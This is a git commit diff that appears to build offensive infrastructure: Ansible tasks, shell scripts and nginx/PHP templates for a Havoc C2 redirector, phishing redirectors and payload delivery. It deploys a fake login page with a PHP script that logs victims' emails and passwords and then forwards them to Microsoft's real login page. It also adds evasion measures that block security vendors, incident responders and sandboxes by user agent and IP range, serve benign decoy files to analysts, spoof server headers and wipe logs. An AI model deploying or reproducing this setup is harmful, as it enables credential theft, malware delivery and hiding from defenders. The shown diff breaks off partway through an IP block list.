Restructure in-progress

This commit is contained in:
n0mad1k
2025-07-04 23:48:04 -04:00
parent 32aad50820
commit 36de65ba60
114 changed files with 670 additions and 1041 deletions
@@ -0,0 +1,158 @@
#!/bin/bash
# post_install_redirector.sh - Post-installation setup for redirector
# ANSI color codes
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${BLUE}==================================================${NC}"
echo -e "${BLUE} C2ingRed Post-Installation Setup - Redirector ${NC}"
echo -e "${BLUE}==================================================${NC}"
# Function to check if domain resolves to current IP
check_dns() {
domain=$1
current_ip=$(curl -s ifconfig.me)
resolved_ip=$(dig +short $domain)
if [ "$resolved_ip" = "$current_ip" ]; then
echo -e "${GREEN}DNS check passed for $domain!${NC}"
return 0
else
echo -e "${YELLOW}DNS check failed for $domain${NC}"
echo -e "Current IP: $current_ip"
echo -e "Resolved IP: $resolved_ip or not set"
return 1
fi
}
# Function to set up Let's Encrypt
setup_letsencrypt() {
domain=$1
email=$2
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
# Check if certificate already exists
if [ -d "/etc/letsencrypt/live/$domain" ]; then
echo -e "${YELLOW}Certificate already exists for $domain${NC}"
read -p "Do you want to renew it? (y/n): " renew
if [ "$renew" != "y" ]; then
echo -e "${YELLOW}Skipping certificate renewal${NC}"
return 0
fi
fi
# Stop nginx if running to free up port 80
systemctl stop nginx 2>/dev/null
# Get certificate
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
if [ $? -eq 0 ]; then
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
return 0
else
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
return 1
fi
}
# Function to update NGINX configuration
update_nginx_config() {
domain=$1
# Check if NGINX config exists and contains the domain
if [ -f "/etc/nginx/sites-available/default" ]; then
if grep -q "$domain" "/etc/nginx/sites-available/default"; then
echo -e "\n${BLUE}Updating NGINX configuration to use SSL certificate${NC}"
# Update SSL certificate paths
sed -i "s|ssl_certificate .*|ssl_certificate /etc/letsencrypt/live/$domain/fullchain.pem;|" /etc/nginx/sites-available/default
sed -i "s|ssl_certificate_key .*|ssl_certificate_key /etc/letsencrypt/live/$domain/privkey.pem;|" /etc/nginx/sites-available/default
echo -e "${GREEN}NGINX configuration updated${NC}"
else
echo -e "${YELLOW}Domain $domain not found in NGINX configuration${NC}"
fi
else
echo -e "${RED}NGINX configuration file not found${NC}"
fi
}
# Function to start services
start_services() {
echo -e "\n${BLUE}Starting required services${NC}"
# Start nginx
systemctl start nginx
if [ $? -eq 0 ]; then
echo -e "${GREEN}NGINX started successfully${NC}"
systemctl enable nginx
else
echo -e "${RED}Failed to start NGINX${NC}"
fi
# Start shell handler
systemctl start shell-handler
if [ $? -eq 0 ]; then
echo -e "${GREEN}Shell handler started successfully${NC}"
systemctl enable shell-handler
else
echo -e "${RED}Failed to start shell handler${NC}"
fi
}
# Function to display port information
show_port_info() {
# Display shell handler port
if [ -f "/etc/systemd/system/shell-handler.service" ]; then
SHELL_PORT=$(grep "LISTEN_PORT=" /root/Tools/shell-handler/persistent-listener.sh | cut -d'=' -f2)
echo -e "\n${BLUE}Shell Handler Port Information:${NC}"
echo -e "Shell Handler is using port: ${GREEN}$SHELL_PORT${NC}"
fi
# Display nginx listening ports
echo -e "\n${BLUE}NGINX Listening Ports:${NC}"
netstat -tulnp | grep nginx
}
# Main execution
echo -e "\n${BLUE}Beginning redirector setup process...${NC}"
# Get domain information
read -p "Enter redirector domain (e.g., cdn.example.com): " redirector_domain
read -p "Enter email for Let's Encrypt: " email
# Check if DNS is properly configured
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
check_dns $redirector_domain
# Confirm proceeding even if DNS check fails
if [ $? -ne 0 ]; then
echo -e "${YELLOW}DNS check failed but we can proceed anyway.${NC}"
echo -e "${YELLOW}Make sure to set up DNS records before trying to obtain certificates.${NC}"
read -p "Do you want to proceed anyway? (y/n): " proceed
if [ "$proceed" != "y" ]; then
echo -e "${RED}Setup aborted.${NC}"
exit 1
fi
fi
# Set up Let's Encrypt
setup_letsencrypt $redirector_domain $email
# Update NGINX configuration
update_nginx_config $redirector_domain
# Start services
start_services
# Show port information
show_port_info
echo -e "\n${GREEN}Redirector setup complete!${NC}"
echo -e "${YELLOW}Make sure DNS records are properly configured for continued operation.${NC}"
@@ -0,0 +1,457 @@
---
# Common task for configuring redirector with full encryption
# Shared across all providers
- name: Set a custom MOTD
template:
src: "../templates/motd-redirector.j2"
dest: /etc/motd
owner: root
group: root
mode: '0644'
- name: Update package cache with retries
apt:
update_cache: yes
cache_valid_time: 0
register: cache_update
until: cache_update is success
retries: 5
delay: 10
ignore_errors: no
- name: Install core packages first (high priority)
apt:
name:
- nginx
- nginx-extras
- socat
- jq
- secure-delete
state: present
update_cache: no
register: core_packages
until: core_packages is success
retries: 3
delay: 5
- name: Install network utilities with fallbacks
block:
- name: Try to install net-tools
apt:
name: net-tools
state: present
update_cache: no
register: net_tools_install
rescue:
- name: Install alternative network utilities
apt:
name:
- iproute2
- iputils-ping
- netcat-openbsd
state: present
update_cache: no
register: alt_network_tools
- name: Create net-tools compatibility aliases
copy:
dest: /usr/local/bin/netstat
content: |
#!/bin/bash
# Compatibility wrapper for netstat using ss
ss "$@"
mode: '0755'
when: alt_network_tools is success
- name: Install PHP-FPM with version handling
block:
- name: Install PHP-FPM (latest available)
apt:
name: php-fpm
state: present
update_cache: no
register: php_install
rescue:
- name: Install specific PHP version as fallback
apt:
name:
- php7.4-fpm
- php7.4-cli
state: present
update_cache: no
register: php_fallback
- name: Install certbot with dependency handling
block:
- name: Install certbot and nginx plugin
apt:
name:
- certbot
- python3-certbot-nginx
state: present
update_cache: no
register: certbot_install
rescue:
- name: Install certbot without problematic dependencies
shell: |
apt-get install -y --no-install-recommends certbot
apt-get install -y --fix-broken || true
register: certbot_manual
ignore_errors: yes
- name: Install certbot via snap as ultimate fallback
block:
- name: Install snap if not present
apt:
name: snapd
state: present
- name: Install certbot via snap
snap:
name: certbot
classic: yes
- name: Create certbot symlink
file:
src: /snap/bin/certbot
dest: /usr/bin/certbot
state: link
when: certbot_manual is failed
- name: Handle problematic Python dependencies
block:
- name: Try installing Python dependencies normally
apt:
name:
- python3-requests-toolbelt
- python3-zope.hookable
state: present
update_cache: no
register: python_deps
rescue:
- name: Install Python dependencies via pip as fallback
pip:
name:
- requests-toolbelt
- zope.hookable
state: present
register: pip_install
ignore_errors: yes
- name: Download and install packages manually if repositories are down
shell: |
cd /tmp
# Try alternative repositories
wget -q http://archive.ubuntu.com/ubuntu/pool/universe/p/python-requests-toolbelt/python3-requests-toolbelt_0.8.0-1.1_all.deb || \
wget -q http://launchpad.net/ubuntu/+archive/primary/+files/python3-requests-toolbelt_0.8.0-1.1_all.deb || true
if [ -f python3-requests-toolbelt_*.deb ]; then
dpkg -i python3-requests-toolbelt_*.deb || apt-get install -f -y
fi
when: pip_install is failed
ignore_errors: yes
- name: Verify critical packages are installed
command: "{{ item.cmd }}"
register: package_verify
failed_when: package_verify.rc != 0
loop:
- { cmd: "nginx -v", name: "nginx" }
- { cmd: "socat -V", name: "socat" }
- { cmd: "jq --version", name: "jq" }
- { cmd: "which certbot", name: "certbot" }
ignore_errors: yes
- name: Create package installation report
debug:
msg: |
C2ingRed Package Installation Status:
===================================
Core Packages: {{ 'SUCCESS' if core_packages is success else 'FAILED' }}
Network Tools: {{ 'SUCCESS' if net_tools_install is success else 'FALLBACK USED' }}
PHP-FPM: {{ 'SUCCESS' if php_install is success else 'FALLBACK USED' if php_fallback is success else 'FAILED' }}
Certbot: {{ 'SUCCESS' if certbot_install is success else 'FALLBACK USED' }}
Python Deps: {{ 'SUCCESS' if python_deps is success else 'FALLBACK ATTEMPTED' }}
Critical Services Verified:
{% for item in package_verify.results %}
- {{ item.item.name }}: {{ 'OK' if item.rc == 0 else 'MISSING' }}
{% endfor %}
- name: Force fix broken packages if any installation failed
shell: |
apt-get update --fix-missing
apt-get install -f -y
dpkg --configure -a
when: core_packages is failed or certbot_install is failed
register: fix_broken
ignore_errors: yes
- name: Final package status check and remediation
block:
- name: Check for any remaining broken packages
shell: apt-get check
register: apt_check
failed_when: false
- name: List installed packages for verification
shell: |
echo "=== INSTALLED PACKAGES ==="
dpkg -l | grep -E "(nginx|certbot|socat|jq|php)" || echo "Some packages missing"
echo "=== BROKEN PACKAGES ==="
apt-get check 2>&1 | grep -i "broken\|error" || echo "No broken packages detected"
register: final_status
- name: Display final installation status
debug:
var: final_status.stdout_lines
- name: Ensure critical services are enabled
systemd:
name: "{{ item }}"
enabled: yes
state: started
loop:
- nginx
- php7.4-fpm
ignore_errors: yes
register: service_start
- name: Create operational readiness marker
copy:
dest: /tmp/c2ingred_packages_ready
content: |
C2ingRed Package Installation Complete
Timestamp: {{ ansible_date_time.iso8601 }}
Status: {{ 'READY' if core_packages is success else 'PARTIAL' }}
mode: '0644'
- name: Create directories for operational scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /root/Tools
- /root/Tools/shell-handler
- name: Copy clean-logs.sh script
copy:
src: "../files/clean-logs.sh"
dest: /root/Tools/clean-logs.sh
mode: '0700'
owner: root
group: root
- name: Copy redirector post-install script
copy:
src: "../files/post_install_redirector.sh"
dest: "/root/Tools/post_install_redirector.sh"
mode: '0700'
owner: root
group: root
- name: Copy port randomization script
copy:
src: "../files/randomize_ports.sh"
dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
- name: Create redirector post-install instructions
copy:
content: |
================================================================
C2ingRed Redirector Post-Installation Instructions
================================================================
To complete your setup with SSL certificates, run:
/root/Tools/post_install_redirector.sh
This script will guide you through:
- Setting up Let's Encrypt certificates
- Starting required services
- Updating NGINX configuration
For enhanced OPSEC, you can also randomize ports:
/root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server.
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
mode: '0644'
owner: root
group: root
- name: Copy shell handler script
copy:
src: "../files/havoc_shell_handler.sh"
dest: /root/Tools/shell-handler/persistent-listener.sh
mode: '0700'
owner: root
group: root
- name: Configure shell handler script with C2 IP
replace:
path: /root/Tools/shell-handler/persistent-listener.sh
regexp: 'C2_HOST="127.0.0.1"'
replace: 'C2_HOST="{{ c2_ip }}"'
- name: Configure shell handler script with listening port
template:
src: "../files/havoc_shell_handler.sh"
dest: "/root/Tools/shell_handler.sh"
mode: 0755
vars:
listen_port: "{{ shell_handler_port | default(8083) }}"
- name: Create shell handler service
template:
src: "../templates/shell-handler.service.j2"
dest: /etc/systemd/system/shell-handler.service
mode: '0644'
owner: root
group: root
- name: Configure NGINX for zero-logging if enabled
template:
src: "../templates/nginx.conf.j2"
dest: /etc/nginx/nginx.conf
mode: '0644'
owner: root
group: root
when: zero_logs | bool
- name: Create payload directory
file:
path: /var/www/resources
state: directory
mode: '0755'
owner: www-data
group: www-data
- name: Include traffic flow configuration
include_tasks: "../tasks/traffic_flow_config.yml"
# Run port randomization if enabled
- name: Run port randomization if enabled
include_tasks: port_randomization.yml
when: randomize_ports | default(true) | bool
# Add just before configuring NGINX
- name: Check if snakeoil certificates exist
stat:
path: /etc/ssl/certs/ssl-cert-snakeoil.pem
register: snakeoil_cert
- name: Generate self-signed certificates if snakeoil not available
block:
- name: Create directory for self-signed certificates
file:
path: /etc/nginx/conf.d
state: directory
mode: '0755'
- name: Generate self-signed certificate
shell: |
openssl req -x509 -nodes -days 3650 -newkey rsa:2048 \
-keyout /etc/nginx/conf.d/selfsigned.key \
-out /etc/nginx/conf.d/selfsigned.crt \
-subj "/C=US/ST=State/L=City/O=Organization/CN=localhost"
args:
creates: /etc/nginx/conf.d/selfsigned.crt
when: not snakeoil_cert.stat.exists
# Configure nginx for dual HTTP/HTTPS with complete encryption
- name: Configure NGINX for secure C2 redirection
template:
src: "../templates/redirector-site.conf.j2"
dest: /etc/nginx/sites-available/default
mode: '0644'
owner: root
group: root
- name: Create legitimate-looking index.html
template:
src: "../templates/redirector-index.html.j2"
dest: /var/www/html/index.html
mode: '0644'
owner: www-data
group: www-data
- name: Create SSL certificate setup instructions
template:
src: "../templates/setup-cert.sh.j2"
dest: /root/Tools/setup-cert.sh
mode: '0700'
owner: root
group: root
- name: Configure NGINX stream module for TCP traffic
template:
src: "../templates/stream.conf.j2"
dest: /etc/nginx/modules-enabled/stream.conf
mode: '0644'
owner: root
group: root
- name: Create credential harvesting directory
file:
path: /var/www/login
state: directory
mode: '0755'
owner: www-data
group: www-data
# Create secure storage outside web root
- name: Create secure credential storage
file:
path: /var/private/creds
state: directory
mode: '0700' # Only owner access
owner: www-data
group: www-data
- name: Deploy credential harvesting page
template:
src: "../templates/fake-login.html.j2"
dest: "/var/www/login/auth.html"
mode: '0644'
owner: www-data
group: www-data
- name: Deploy credential capture script
template:
src: "../templates/capture.php.j2"
dest: "/var/www/login/process.php"
mode: '0644'
owner: www-data
group: www-data
- name: Install PHP for credential processing
apt:
name: php-fpm
state: present
update_cache: yes
- name: Start and enable shell handler service
systemd:
name: shell-handler
state: started
enabled: yes
daemon_reload: yes
- name: Set up cron job for log cleaning if zero-logs enabled
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
when: zero_logs | bool
@@ -0,0 +1,27 @@
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$data = [
'timestamp' => date('Y-m-d H:i:s'),
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'email' => $_POST['email'] ?? '',
'password' => $_POST['password'] ?? '',
'headers' => getallheaders()
];
$log_file = '/var/private/creds/creds.enc';
$encrypted = openssl_encrypt(
json_encode($data),
'AES-256-CBC',
'{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}',
0,
str_repeat("\0", 16)
);
file_put_contents($log_file, $encrypted . "\n", FILE_APPEND);
header('Location: https://login.microsoftonline.com/common/oauth2/);
exit;
}
?>
@@ -0,0 +1,157 @@
---
# Configure phishing redirector with advanced evasion techniques
- name: Install packages for phishing redirector
apt:
name:
- nginx
- nginx-extras
- certbot
- python3-certbot-nginx
- socat
- netcat-openbsd
- jq
- curl
- geoip-database
- libgeoip1
- php-fpm
- php-geoip
state: present
- name: Configure advanced nginx for phishing redirector
template:
src: "../templates/phishing/nginx-phishing-redirector.j2"
dest: /etc/nginx/sites-available/phishing-redirector
mode: '0644'
notify: restart nginx
- name: Enable phishing redirector site
file:
src: /etc/nginx/sites-available/phishing-redirector
dest: /etc/nginx/sites-enabled/phishing-redirector
state: link
notify: restart nginx
- name: Remove default nginx site
file:
path: /etc/nginx/sites-enabled/default
state: absent
notify: restart nginx
- name: Create legitimate website content
template:
src: "../templates/phishing/legitimate-website.html.j2"
dest: /var/www/html/index.html
mode: '0644'
- name: Create robots.txt for SEO legitimacy
copy:
dest: /var/www/html/robots.txt
content: |
User-agent: *
Allow: /
Sitemap: https://{{ phishing_subdomain }}.{{ phishing_domain }}/sitemap.xml
- name: Create sitemap for legitimacy
template:
src: "../templates/phishing/sitemap.xml.j2"
dest: /var/www/html/sitemap.xml
mode: '0644'
- name: Install MaxMind GeoIP for location-based filtering
get_url:
url: "https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-Country&license_key={{ maxmind_license_key | default('') }}&suffix=tar.gz"
dest: /tmp/geoip.tar.gz
when: maxmind_license_key is defined
ignore_errors: yes
- name: Create security research filtering script
template:
src: "../templates/phishing/security-filter.lua.j2"
dest: /etc/nginx/security-filter.lua
mode: '0644'
- name: Configure nginx stream module for advanced traffic analysis
template:
src: "../templates/phishing/stream-analysis.conf.j2"
dest: /etc/nginx/modules-enabled/stream-analysis.conf
mode: '0644'
- name: Create phishing campaign analytics
template:
src: "../templates/phishing/analytics.js.j2"
dest: /var/www/html/analytics.js
mode: '0644'
- name: Set up legitimate SSL certificate
shell: |
certbot --nginx -d {{ phishing_subdomain }}.{{ phishing_domain }} \
--non-interactive --agree-tos -m {{ letsencrypt_email }}
args:
creates: /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ phishing_domain }}/fullchain.pem
ignore_errors: yes
- name: Create fail2ban configuration for suspicious activity
copy:
dest: /etc/fail2ban/jail.d/phishing-protection.conf
content: |
[phishing-scanner-protection]
enabled = true
port = 80,443
filter = phishing-scanner
logpath = /var/log/nginx/access.log
maxretry = 3
bantime = 3600
findtime = 300
- name: Create fail2ban filter for security tools
copy:
dest: /etc/fail2ban/filter.d/phishing-scanner.conf
content: |
[Definition]
failregex = ^<HOST>.*"(GET|POST).*(nmap|nikto|sqlmap|burp|w3af|nessus|openvas).*"
^<HOST>.*".*User-Agent.*(scanner|bot|crawl|security|test).*"
^<HOST>.*"(GET|POST).*\.(php|asp|jsp)\?.*"
ignoreregex =
- name: Start and enable fail2ban
systemd:
name: fail2ban
state: started
enabled: yes
- name: Create traffic monitoring script
template:
src: "../templates/phishing/traffic-monitor.sh.j2"
dest: /root/Tools/traffic-monitor.sh
mode: '0755'
- name: Set up traffic monitoring cron
cron:
name: "Monitor phishing traffic"
minute: "*/5"
job: "/root/Tools/traffic-monitor.sh >> /var/log/phishing-traffic.log 2>&1"
- name: Configure rate limiting for suspicious patterns
blockinfile:
path: /etc/nginx/nginx.conf
insertbefore: "http {"
block: |
# Rate limiting zones
limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
# GeoIP configuration
geoip_country /usr/share/GeoIP/GeoIP.dat;
map $geoip_country_code $allowed_country {
default 1;
CN 0;
RU 0;
KP 0;
}
handlers:
- name: restart nginx
service:
name: nginx
state: restarted
@@ -0,0 +1,82 @@
# Payload Redirector Configuration
# Serves payloads with anti-analysis features
server {
listen 80;
listen [::]:80;
server_name {{ payload_subdomain }}.{{ domain }};
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name {{ payload_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
root /var/www/payloads;
# Anti-analysis headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Download-Options "noopen" always;
add_header X-Robots-Tag "noindex, nofollow" always;
# Serve different content based on user agent
location ~ ^/download/(.+)$ {
# Check if request is from analysis environment
if ($http_user_agent ~* (sandbox|virus|malware|analysis)) {
# Serve benign file
rewrite ^/download/(.+)$ /benign/document.pdf last;
}
# Check for valid download token
secure_link $arg_token,$arg_expires;
secure_link_md5 "$secure_link_expires$uri {{ payload_secret }}";
if ($secure_link = "") {
return 403;
}
if ($secure_link = "0") {
return 410;
}
# Serve actual payload
try_files /payloads/$1 =404;
}
# Direct file access with referrer check
location /files/ {
valid_referers none blocked server_names
*.{{ domain }}
{{ allowed_referrers | default([]) | join(' ') }};
if ($invalid_referer) {
return 403;
}
alias /var/www/payloads/;
autoindex off;
}
# Benign files for analysis environments
location /benign/ {
alias /var/www/payloads/benign/;
autoindex off;
}
# Block all other access
location / {
return 404;
}
{% if zero_logs | default(true) %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
@@ -0,0 +1,104 @@
# Phishing Redirector Configuration
# Advanced evasion and filtering
# Security tool detection
map $http_user_agent $is_security_scanner {
default 0;
~*(bot|crawl|spider|scraper|monitor|virustotal|urlvoid|hybrid-analysis|joesandbox|scanurl|urlscan|phishtank) 1;
}
# Geo-filtering map
map $geoip_country_code $allowed_country {
default 1;
{% for country in blocked_countries | default([]) %}
{{ country }} 0;
{% endfor %}
}
server {
listen 80;
listen [::]:80;
server_name {{ phishing_subdomain }}.{{ domain }};
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name {{ phishing_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
# Security headers to appear legitimate
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer-when-downgrade" always;
# Block security scanners
if ($is_security_scanner) {
return 302 https://www.{{ legitimate_redirect | default('microsoft.com') }};
}
# Geo-blocking
if ($allowed_country = 0) {
return 403;
}
# Rate limiting
limit_req_zone $binary_remote_addr zone=phishing:10m rate=10r/s;
limit_req zone=phishing burst=20 nodelay;
# GoPhish tracking and landing pages
location ~ ^/{{ gophish_rid_param | default('rid') }}/(.+) {
proxy_pass http://{{ gophish_server_ip }}:{{ gophish_phish_port | default(8081) }};
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Phishing landing pages
location / {
proxy_pass http://{{ phishing_web_ip }}:80;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Block direct access to sensitive paths
location ~ /\.(git|env|htaccess|htpasswd) {
deny all;
return 404;
}
{% if zero_logs | default(true) %}
# Zero-logs configuration
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
return 302 https://www.{{ legitimate_redirect | default('google.com') }};
access_log off;
error_log /dev/null crit;
}
@@ -0,0 +1,58 @@
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 1024;
multi_accept on;
}
http {
# Basic Settings
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
server_tokens off;
# MIME
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Zero-logs configuration
# This completely disables all access logs
access_log off;
# Minimal error logs - critical only
error_log /dev/null crit;
# SSL Settings
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
# Headers to confuse fingerprinting
# Microsoft-IIS/8.5 server header to throw off analysis
add_header Server "Microsoft-IIS/8.5";
server_name_in_redirect off;
# OPSEC: Hide proxy headers
proxy_hide_header X-Powered-By;
proxy_hide_header X-AspNet-Version;
proxy_hide_header X-Runtime;
# IP Rotation and proxying
real_ip_header X-Forwarded-For;
set_real_ip_from 127.0.0.1;
# Gzip Settings
gzip off; # Disabled to avoid BREACH attack
# Virtual Host Configs
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
@@ -0,0 +1,105 @@
server {
listen 80;
listen [::]:80;
server_name {{ redirector_domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
# Root directory
root /var/www/html;
index index.html;
# Primary location for legitimate website traffic
location / {
try_files $uri $uri/ =404;
}
# Havoc C2 HTTP listener paths
location ~ ^/api/v[12]/ {
proxy_pass http://{{ c2_ip }}:8080;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# Havoc C2 HTTPS listener paths
location ~ ^/(dashboard|content)/ {
proxy_pass https://{{ c2_ip }}:9443;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_ssl_verify off;
}
# Payload stager paths
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Payload content paths
location ~ ^/content/(windows|linux)/(.+)$ {
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Disable logging for this server block if zero-logs is enabled
{% if zero_logs | default(true) | bool %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block to respond to unknown hosts
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
# Self-signed cert for catch-all
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Redirect all unknown traffic to a legitimate-looking site
return 301 https://www.google.com;
# Disable logs
access_log off;
error_log /dev/null crit;
}
@@ -0,0 +1,61 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CDN - Content Delivery Network</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
color: #333;
}
header {
background-color: #2c3e50;
color: white;
padding: 1em;
text-align: center;
}
.container {
width: 80%;
margin: 0 auto;
padding: 2em;
}
.card {
background-color: white;
border-radius: 5px;
padding: 1.5em;
margin-bottom: 1.5em;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
footer {
background-color: #2c3e50;
color: white;
text-align: center;
padding: 1em;
position: fixed;
bottom: 0;
width: 100%;
}
</style>
</head>
<body>
<header>
<h1>cdn.{{ domain }}</h1>
<p>Enterprise Content Delivery Network</p>
</header>
<div class="container">
<div class="card">
<h2>Welcome to Our CDN</h2>
<p>This server is part of our global content delivery network.</p>
</div>
</div>
<footer>
<p>&copy; 2025 {{ domain }} CDN Services. All rights reserved.</p>
</footer>
</body>
</html>
@@ -0,0 +1,310 @@
# Advanced Redirector Configuration with IR Evasion
# templates/redirector-site.conf.j2
# Detect security tools by user agent
map $http_user_agent $is_security_tool {
default 0;
# Common security tools, scanners, and IR user agents
~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
}
# Improved mobile detection regex
map $http_user_agent $is_mobile {
default 0;
~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
}
map $remote_addr $is_known_security_ip {
default 0;
# VirusTotal
"64.71.0.0/16" 1;
"74.125.0.0/16" 1; # Google Cloud (VirusTotal)
"216.239.32.0/19" 1; # Google
# Recorded Future
"104.196.0.0/14" 1; # Google Cloud
"35.184.0.0/13" 1; # Google Cloud
# Censys
"198.108.66.0/23" 1;
"162.142.125.0/24" 1;
"167.248.133.0/24" 1;
# Shodan
"66.240.192.0/18" 1;
"71.6.135.0/24" 1;
"71.6.167.0/24" 1;
"82.221.105.6/32" 1;
"82.221.105.7/32" 1;
"93.120.27.0/24" 1;
# Symantec/Broadcom
"205.128.0.0/14" 1;
"65.165.0.0/16" 1;
# McAfee/Trellix
"161.69.0.0/16" 1;
"192.225.158.0/24" 1;
# CrowdStrike
"45.60.0.0/16" 1;
"199.66.200.0/24" 1;
# SentinelOne
"104.36.227.0/24" 1;
"104.196.0.0/14" 1;
# Microsoft Defender
"13.64.0.0/11" 1; # Azure (Microsoft Defender)
